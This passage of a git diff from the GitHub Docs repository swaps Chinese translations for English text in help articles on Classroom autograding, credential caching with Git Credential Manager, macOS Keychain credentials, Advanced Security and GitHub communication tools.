mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. -![MakeCode Arcade 版本控制功能](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) +![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) -## 延伸阅读 +## Further reading -- "[关于 README](/github/creating-cloning-and-archiving-repositories/about-readmes)" +- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md index fbfa85ff0b..94c923104e 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md @@ -1,31 +1,30 @@ --- -title: 查看自动评分结果 -intro: 您可以在作业仓库中查看自动评分结果。 +title: View autograding results +intro: You can see results from autograding within the repository for your assignment. versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-students - /education/manage-coursework-with-github-classroom/view-autograding-results --- +## About autograding -## 关于自动分级 +Your teacher can configure tests that automatically check your work when you push to an assignment repository on {% data variables.product.product_location %}. -教师可以配置测试在您推送到 {% data variables.product.product_location %} 上的作业仓库时自动检查您的工作。 +If you're a student and your instructor has configured autograding for your assignment in {% data variables.product.prodname_classroom %}, you'll find autograding test results throughout your assignment repository. If all tests succeed for a commit, you'll see a green checkmark. If any tests fail for a commit, you'll see a red X. You can see detailed logs by clicking the green checkmark or red X. -如果您是学生，并且讲师已为 {% data variables.product.prodname_classroom %} 中的作业配置自动评分，则您会在整个作业仓库找到自动评分测试结果。 如果提交的所有测试都成功，您将看到绿色复选标记。 如果提交的任何测试失败，您会看到红色的 X。您可以通过单击绿色复选标记或红色 X 查看详细日志。 +## Viewing autograding results for an assignment repository -## 查看作业仓库的自动评分结果 +{% data variables.product.prodname_classroom %} uses {% data variables.product.prodname_actions %} to run autograding tests. For more information about viewing the logs for an autograding test, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." -{% data variables.product.prodname_classroom %} 使用 {% data variables.product.prodname_actions %} 来运行自动评分测试。 有关查看自动评分测试的日志的详细信息，请参阅“[使用工作流程运行日志](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)”。 +The **Actions** tab shows the full history of test runs. -**Actions（操作）**选项卡显示测试运行的完整历史记录。 +!["Actions" tab with "All workflows" selected](/assets/images/help/classroom/autograding-actions-tab.png) -![选择了"所有工作流程"的"操作"选项卡](/assets/images/help/classroom/autograding-actions-tab.png) +You can click a specific test run to review log output, like compilation errors and test failures. -您可以单击特定的测试运行来查看日志输出，如编译错误和测试失败。 +![The "{% data variables.product.prodname_classroom %} Autograding Workflow" test results logs in {% data variables.product.prodname_actions %} ](/assets/images/help/classroom/autograding-actions-logs.png) -![{% data variables.product.prodname_actions %} 中的"{% data variables.product.prodname_classroom %} 自动评分工作流程"测试结果日志 ](/assets/images/help/classroom/autograding-actions-logs.png) +## Further reading -## 延伸阅读 - -- "[关于状态检查](/github/collaborating-with-issues-and-pull-requests/about-status-checks)" +- "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)" diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md index a31abfffd3..8524ac5fbc 100644 --- a/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md +++ b/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md @@ -1,5 +1,5 @@ --- -title: 在 Git 中缓存 GitHub 凭据 +title: Caching your GitHub credentials in Git redirect_from: - /firewalls-and-proxies/ - /articles/caching-your-github-password-in-git @@ -7,18 +7,18 @@ redirect_from: - /github/using-git/caching-your-github-credentials-in-git - /github/getting-started-with-github/caching-your-github-credentials-in-git - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git -intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager Core (GCM Core) to remember your credentials.' +intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: 缓存凭据 +shortTitle: Caching credentials --- {% tip %} -**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. 有关设置 SSH 连接的信息，请参阅“[生成 SSH 密钥](/articles/generating-an-ssh-key)”。 +**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)." {% endtip %} @@ -33,9 +33,9 @@ shortTitle: 缓存凭据 For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). -## Git Credential Manager Core +## Git Credential Manager -[Git Credential Manager Core](https://github.com/microsoft/Git-Credential-Manager-Core) (GCM Core) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM Core, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM Core manages authentication on your behalf, including 2FA (two-factor authentication). +[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication). {% mac %} @@ -44,22 +44,22 @@ For more information about authenticating with {% data variables.product.prodnam $ brew install git ``` -2. Install GCM Core using Homebrew: +2. Install GCM using Homebrew: ```shell $ brew tap microsoft/git $ brew install --cask git-credential-manager-core ``` - For MacOS, you don't need to run `git config` because GCM Core automatically configures Git for you. + For MacOS, you don't need to run `git config` because GCM automatically configures Git for you. {% data reusables.gcm-core.next-time-you-clone %} -验证成功后，您的凭据存储在 macOS 密钥链中，每次克隆 HTTPS URL 时都会使用。 Git will not require you to type your credentials in the command line again unless you change your credentials. +Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. {% endmac %} {% windows %} -1. Install Git for Windows, which includes GCM Core. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). +1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub. @@ -77,7 +77,7 @@ Once you've authenticated successfully, your credentials are stored in the Windo {% warning %} -**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. +**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. {% endwarning %} @@ -85,22 +85,22 @@ Once you've authenticated successfully, your credentials are stored in the Windo {% linux %} -For Linux, install Git and GCM Core, then configure Git to use GCM Core. +For Linux, install Git and GCM, then configure Git to use GCM. 1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run. -2. Install GCM Core. See the [instructions in the GCM Core repo](https://github.com/microsoft/Git-Credential-Manager-Core#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. +2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. -3. Configure Git to use GCM Core. There are several backing stores that you may choose from, so see the GCM Core docs to complete your setup. For more information, see "[GCM Core Linux](https://aka.ms/gcmcore-linuxcredstores)." +3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)." {% data reusables.gcm-core.next-time-you-clone %} Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. -有关在 Linux 上存储凭据的更多选项，请参阅 Pro Git 中的[凭据存储](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) 。 +For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git. {% endlinux %}
                    -For more information or to report issues with GCM Core, see the official GCM Core docs at "[Git Credential Manager Core](https://github.com/microsoft/Git-Credential-Manager-Core)." +For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)." diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md index 320486146a..8f4a056431 100644 --- a/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md +++ b/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md @@ -1,6 +1,6 @@ --- -title: 更新 OSX 密钥链中的凭据 -intro: '如果在 {% data variables.product.product_name %} 上更改您的{% ifversion not ghae %}用户名、密码或{% endif %}个人访问令牌，您需要在 "git-credit al-osxkeychain" 小助手中更新您保存的凭据。' +title: Updating credentials from the macOS Keychain +intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} personal access token on {% data variables.product.product_name %}.' redirect_from: - /articles/updating-credentials-from-the-osx-keychain - /github/using-git/updating-credentials-from-the-osx-keychain @@ -12,29 +12,29 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: macOS 密钥链凭据 +shortTitle: macOS Keychain credentials --- - {% tip %} -**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the `osxkeychain` helper that is built-in to macOS. +**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the `osxkeychain` helper that is built-in to macOS. -We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager Core](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM Core) instead. GCM Core can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth). +We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth). {% endtip %} {% data reusables.user_settings.password-authentication-deprecation %} -## 通过 Keychain Access 更新凭据 +## Updating your credentials via Keychain Access -1. 单击菜单栏右侧的 Spotlight 图标（放大镜）。 键入 `Keychain access`，然后按 Enter 键启动应用程序。 ![Spotlight 搜索栏](/assets/images/help/setup/keychain-access.png) -2. 在 Keychain Access 中，搜索 **{% data variables.command_line.backticks %}**。 -3. 查找 `{% data variables.command_line.backticks %}` 的“互联网密码”条目。 -4. 相应地编辑或删除该条目。 +1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app. + ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) +2. In Keychain Access, search for **{% data variables.command_line.backticks %}**. +3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`. +4. Edit or delete the entry accordingly. -## 通过命令行删除凭据 +## Deleting your credentials via the command line -通过命令行，您可以使用凭据小助手直接擦除密钥链条目。 +Through the command line, you can use the credential helper directly to erase the keychain entry. ```shell $ git credential-osxkeychain erase @@ -43,8 +43,8 @@ protocol=https > [Press Return] ``` -如果成功，则不会打印出任何内容。 要测试其是否有效，请尝试从 {% data variables.product.product_location %} 克隆私有仓库。 如果提示您输入密码，则该密钥链条目已删除。 +If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.product.product_location %}. If you are prompted for a password, the keychain entry was deleted. -## 延伸阅读 +## Further reading -- “[在 Git 中缓存您的 {% data variables.product.prodname_dotcom %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git/)” +- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" diff --git a/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md b/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md index 438d88c600..d5330b1689 100644 --- a/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md +++ b/translations/zh-CN/content/get-started/learning-about-github/about-github-advanced-security.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub 高级安全 -intro: '{% data variables.product.prodname_dotcom %} 允许客户在 {% data variables.product.prodname_advanced_security %} 许可下使用额外的安全功能。{% ifversion fpt or ghec %} 这些功能也已对 {% data variables.product.prodname_dotcom_the_website %} 上的公共仓库启用。{% endif %}' +title: About GitHub Advanced Security +intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion fpt or ghec %} These features are also enabled for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}' product: '{% data reusables.gated-features.ghas %}' versions: fpt: '*' @@ -14,26 +14,25 @@ redirect_from: - /github/getting-started-with-github/learning-about-github/about-github-advanced-security shortTitle: GitHub Advanced Security --- +## About {% data variables.product.prodname_GH_advanced_security %} -## 关于 {% data variables.product.prodname_GH_advanced_security %} - -{% data variables.product.prodname_dotcom %} 有许多功能可帮助您改进和维护代码的质量。 其中一些包含在所有计划中{% ifversion not ghae %}，如依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}{% endif %}。 其他功能需要 {% data variables.product.prodname_GH_advanced_security %} 许可才能在 {% data variables.product.prodname_dotcom_the_website %} 公共仓库以外的仓库上运行。 +{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans{% ifversion not ghae %}, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}{% endif %}. Other security features require a license for {% data variables.product.prodname_GH_advanced_security %} to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}. {% ifversion fpt or ghes > 3.0 or ghec %}For more information about purchasing {% data variables.product.prodname_GH_advanced_security %}, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% elsif ghae %}There is no charge for {% data variables.product.prodname_GH_advanced_security %} on {% data variables.product.prodname_ghe_managed %} during the beta release.{% endif %} -## 关于 {% data variables.product.prodname_advanced_security %} 功能 +## About {% data variables.product.prodname_advanced_security %} features -{% data variables.product.prodname_GH_advanced_security %} 许可提供以下额外功能： +A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features: -- **{% data variables.product.prodname_code_scanning_capc %}** - 搜索代码中潜在的安全漏洞和编码错误。 更多信息请参阅“[关于 {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)”。 +- **{% data variables.product.prodname_code_scanning_capc %}** - Search for potential security vulnerabilities and coding errors in your code. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -- **{% data variables.product.prodname_secret_scanning_caps %}** - 检测已检入仓库的密码（例如密钥和令牌）。 更多信息请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)”。 +- **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes > 3.1 or ghec or ghae-issue-4864 %} -- **依赖项审查** - 在合并拉取请求之前显示依赖项更改的全部影响以及任何有漏洞版本的详情。 更多信息请参阅“[关于依赖项审查](/code-security/supply-chain-security/about-dependency-review)”。 +- **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." {% endif %} -有关正在开发中的 {% data variables.product.prodname_advanced_security %} 功能，请参阅“[{% data variables.product.prodname_dotcom %} 公开路线图](https://github.com/github/roadmap)”。 关于所有安全功能的概述，请参阅“[{% data variables.product.prodname_dotcom %} 安全功能](/code-security/getting-started/github-security-features)”。 +For information about {% data variables.product.prodname_advanced_security %} features that are in development, see "[{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap)." For an overview of all security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." {% ifversion ghes or ghec %} @@ -46,33 +45,33 @@ To review the rollout phases we recommended in more detail, see "[Deploying {% d {% endif %} {% ifversion ghes or ghae %} -## 在 {% data variables.product.product_name %} 上启用 {% data variables.product.prodname_advanced_security %} 功能 +## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.product_name %} {% ifversion ghes %} -站点管理员必须为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_advanced_security %}，您才能使用这些功能。 更多信息请参阅“[配置高级安全功能](/admin/configuration/configuring-advanced-security-features)”。 +The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.product.product_location %} before you can use these features. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features)." {% endif %} -设置系统后，您可以在组织或仓库级别启用和禁用这些功能。 更多信息请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”或“[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”。 +Once your system is set up, you can enable and disable these features at the organization or repository level. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." {% endif %} {% ifversion not ghae %} -## 在 {% data variables.product.prodname_dotcom_the_website %} 上启用 {% data variables.product.prodname_advanced_security %} 功能 +## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_dotcom_the_website %} -对于 {% data variables.product.prodname_dotcom_the_website %} 上的公共仓库，这些功能是永久性的，仅当您更改项目的可见性使代码不再公开时才会禁用。 +For public repositories on {% data variables.product.prodname_dotcom_the_website %}, these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public. -对于其他仓库，一旦您拥有企业帐户的许可，就可以在组织或仓库级别启用和禁用这些功能。 {% ifversion fpt or ghes > 3.0 or ghec %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} +For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. {% ifversion fpt or ghes > 3.0 or ghec %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} {% endif %} {% ifversion fpt or ghec %} -如果您有企业帐户，则整个企业的许可使用情况将显示在您的企业许可页面上。 更多信息请参阅“[查看 {% data variables.product.prodname_GH_advanced_security %} 使用情况](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)”。 +If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)." {% endif %} {% ifversion ghec or ghes > 3.0 or ghae-next %} -## 延伸阅读 +## Further reading - "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)" diff --git a/translations/zh-CN/content/get-started/quickstart/communicating-on-github.md b/translations/zh-CN/content/get-started/quickstart/communicating-on-github.md index 92f70716a2..6ef7d11006 100644 --- a/translations/zh-CN/content/get-started/quickstart/communicating-on-github.md +++ b/translations/zh-CN/content/get-started/quickstart/communicating-on-github.md @@ -1,6 +1,6 @@ --- -title: 在 GitHub 上通信 -intro: '您可以在 {% data variables.product.product_name %} 中使用不同类型的讨论来讨论特定项目和更改，以及更广泛的想法或团队目标。' +title: Communicating on GitHub +intro: 'You can discuss specific projects and changes, as well as broader ideas or team goals, using different types of discussions on {% data variables.product.product_name %}.' miniTocMaxHeadingLevel: 3 redirect_from: - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github @@ -19,139 +19,138 @@ topics: - Discussions - Fundamentals --- +## Introduction -## 简介 - -{% data variables.product.product_name %} 提供内置的协作通信工具，使您能够与社区进行密切互动。 此快速入门指南将指导您如何根据您的需求选择合适的工具。 +{% data variables.product.product_name %} provides built-in collaborative communication tools allowing you to interact closely with your community. This quickstart guide will show you how to pick the right tool for your needs. {% ifversion fpt or ghec %} -根据您想参加的对话类型，您可以创建和参加议题、{% data variables.product.prodname_discussions %} 和团队讨论。 +You can create and participate in issues, pull requests, {% data variables.product.prodname_discussions %}, and team discussions, depending on the type of conversation you'd like to have. {% endif %} {% ifversion ghes or ghae %} -根据您想参加的对话类型，您可以创建和参加议题、拉取请求和团队讨论。 +You can create and participate in issues, pull requests and team discussions, depending on the type of conversation you'd like to have. {% endif %} ### {% data variables.product.prodname_github_issues %} -- 适用于讨论项目的具体细节，如漏洞报告、计划的改进和反馈。 -- 是特定于存储库的，通常有一个明确的所有者。 -- 通常被称为 {% data variables.product.prodname_dotcom %} 的错误跟踪系统。 - -### 拉取请求 -- 允许您提出具体的更改。 -- allow you to comment directly on proposed changes suggested by others. -- 是特定于仓库的。 - +- are useful for discussing specific details of a project such as bug reports, planned improvements and feedback. +- are specific to a repository, and usually have a clear owner. +- are often referred to as {% data variables.product.prodname_dotcom %}'s bug-tracking system. + +### Pull requests +- allow you to propose specific changes. +- allow you to comment directly on proposed changes suggested by others. +- are specific to a repository. + {% ifversion fpt or ghec %} ### {% data variables.product.prodname_discussions %} -- 就像一个论坛，最好用来进行合作很重要的开放式想法和讨论。 -- 可能跨越许多仓库。 -- 在代码库之外提供协作体验，从而集思广益，并创建社区知识库。 -- 往往没有明确的所有者。 -- 通常不会导致可操作的任务。 +- are like a forum, and are best used for open-form ideas and discussions where collaboration is important. +- may span many repositories. +- provide a collaborative experience outside the codebase, allowing the brainstorming of ideas, and the creation of a community knowledge base. +- often don’t have a clear owner. +- often do not result in an actionable task. {% endif %} -### 团队讨论 -- 可以在您的团队页面上启动跨项目的对话，不属于特定的议题或拉取请求。 不要在仓库中开启一个议题来讨论一个想法，而可以通过在团队讨论中进行对话将整个团队包括在内。 -- 允许您与您的团队在一个地方就规划、分析、设计、用户研究和一般项目决策进行讨论。{% ifversion ghes or ghae %} -- 在代码库之外提供协作体验，从而可以集思广益。 -- 往往没有明确的所有者。 -- 通常不会导致可操作的任务。{% endif %} +### Team discussions +- can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. Instead of opening an issue in a repository to discuss an idea, you can include the entire team by having a conversation in a team discussion. +- allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes or ghae %} +- provide a collaborative experience outside the codebase, allowing the brainstorming of ideas. +- often don’t have a clear owner. +- often do not result in an actionable task.{% endif %} -## 我应该使用哪种讨论工具？ +## Which discussion tool should I use? -### 议题场景 +### Scenarios for issues -- 我想跟踪任务、增强功能和漏洞。 -- 我想提交错误报告。 -- 我想分享有关特定功能的反馈。 -- 我想询问有关仓库文件的问题。 +- I want to keep track of tasks, enhancements and bugs. +- I want to file a bug report. +- I want to share feedback about a specific feature. +- I want to ask a question about files in the repository. -#### 议题示例 +#### Issue example -此示例说明了 {% data variables.product.prodname_dotcom %} 用户如何在我们的文档开源仓库中创建议题，以便让我们了解错误并讨论修复方法。 +This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix. -![议题实例](/assets/images/help/issues/issue-example.png) +![Example of issue](/assets/images/help/issues/issue-example.png) -- 用户注意到，中文版 {% data variables.product.prodname_dotcom %} 文档页面顶部横幅的蓝色使横幅中的文本不可读。 -- 用户在仓库中创建一个议题，指出了问题并提出了修复建议（即对横幅使用不同的背景色）。 -- 随后进行了讨论，最终就适用的修复方法达成共识。 -- 然后，参与者可以创建包含修复方法的拉取请求。 +- A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable. +- The user created an issue in the repository, stating the problem and suggesting a fix (which is, use a different background color for the banner). +- A discussion ensues, and eventually, a consensus will be reached about the fix to apply. +- A contributor can then create a pull request with the fix. -### 拉取请求场景 +### Scenarios for pull requests -- 我想修复仓库中的拼写错误。 -- 我想对仓库进行更改。 -- 我想进行更改以修复问题。 -- 我想评论其他人建议的更改。 +- I want to fix a typo in a repository. +- I want to make changes to a repository. +- I want to make changes to fix an issue. +- I want to comment on changes suggested by others. -#### 拉取请求示例 +#### Pull request example -此示例说明了 {% data variables.product.prodname_dotcom %} 用户如何在我们的文档开源仓库中创建拉取请求以修复拼写错误。 +This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo. In the **Conversation** tab of the pull request, the author explains why they created the pull request. -![拉取请求示例 - 对话选项卡](/assets/images/help/pull_requests/pr-conversation-example.png) +![Example of pull request - Conversation tab](/assets/images/help/pull_requests/pr-conversation-example.png) -拉取请求的 **Files changed（文件已更改）**选项卡显示已实施的修复。 +The **Files changed** tab of the pull request shows the implemented fix. -![拉取请求示例 - 文件已更改选项卡](/assets/images/help/pull_requests/pr-files-changed-example.png) +![Example of pull request - Files changed tab](/assets/images/help/pull_requests/pr-files-changed-example.png) -- 此参与者发现仓库中的拼写错误。 -- 用户创建包含修复方法的拉取请求。 -- 仓库维护员审查拉取请求、发表评论并合并它。 +- This contributor notices a typo in the repository. +- The user creates a pull request with the fix. +- A repository maintainer reviews the pull request, comments on it, and merges it. {% ifversion fpt or ghec %} -### {% data variables.product.prodname_discussions %} 的场景 +### Scenarios for {% data variables.product.prodname_discussions %} -- 我有一个不一定与仓库中的特定文件相关的问题。 -- 我想与协作者或团队分享消息。 -- 我想发起或参与开放式对话。 -- 我想向社区发布公告。 +- I have a question that's not necessarily related to specific files in the repository. +- I want to share news with my collaborators, or my team. +- I want to start or participate in an open-ended conversation. +- I want to make an announcement to my community. -#### {% data variables.product.prodname_discussions %} 示例 +#### {% data variables.product.prodname_discussions %} example -此示例显示了 {% data variables.product.prodname_dotcom %} 文档开源仓库的 {% data variables.product.prodname_discussions %} 欢迎帖子，并说明了团队希望如何与社区合作。 +This example shows the {% data variables.product.prodname_discussions %} welcome post for the {% data variables.product.prodname_dotcom %} Docs open source repository, and illustrates how the team wants to collaborate with their community. -![{% data variables.product.prodname_discussions %} 示例](/assets/images/help/discussions/github-discussions-example.png) +![Example of {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png) -这位社区维护员发起讨论以欢迎社区成员，并请成员自我介绍。 这个帖子营造了欢迎访客和参与者的氛围。 这个帖子还阐明，团队乐于帮助用户参与仓库。 +This community maintainer started a discussion to welcome the community, and to ask members to introduce themselves. This post fosters an inviting atmosphere for visitors and contributors. The post also clarifies that the team's happy to help with contributions to the repository. {% endif %} {% ifversion fpt or ghes or ghae or ghec %} -### 团队讨论场景 +### Scenarios for team discussions -- 我有一个不一定与仓库中的特定文件相关的问题。 -- 我想与协作者或团队分享消息。 -- 我想发起或参与开放式对话。 -- 我想向团队发布公告。 +- I have a question that's not necessarily related to specific files in the repository. +- I want to share news with my collaborators, or my team. +- I want to start or participate in an open-ended conversation. +- I want to make an announcement to my team. {% ifversion fpt or ghec %} -您可以看到，团队讨论与 {% data variables.product.prodname_discussions %} 非常相似。 对于 {% data variables.product.prodname_dotcom_the_website %}，我们建议使用 {% data variables.product.prodname_discussions %} 作为对话的起点。 您可以使用 {% data variables.product.prodname_discussions %} 与任何社区在 {% data variables.product.prodname_dotcom %} 上进行协作。 如果您是组织成员，希望在您的组织或组织的团队中发起对话，您应该使用团队讨论。 +As you can see, team discussions are very similar to {% data variables.product.prodname_discussions %}. For {% data variables.product.prodname_dotcom_the_website %}, we recommend using {% data variables.product.prodname_discussions %} as the starting point for conversations. You can use {% data variables.product.prodname_discussions %} to collaborate with any community on {% data variables.product.prodname_dotcom %}. If you are part of an organization, and would like to initiate conversations within your organization or team within that organization, you should use team discussions. {% endif %} -#### 团队讨论示例 +#### Team discussion example -此示例显示了 `octo-team` 团队的团队帖子。 +This example shows a team post for the `octo-team` team. -![团队讨论示例](/assets/images/help/projects/team-discussions-example.png) +![Example of team discussion](/assets/images/help/projects/team-discussions-example.png) -`octocat` 团队成员发布了团队讨论，向团队通报了各种情况： -- 一个叫 Mona 的团队成员开始了远程游戏活动。 +The `octocat` team member posted a team discussion, informing the team of various things: +- A 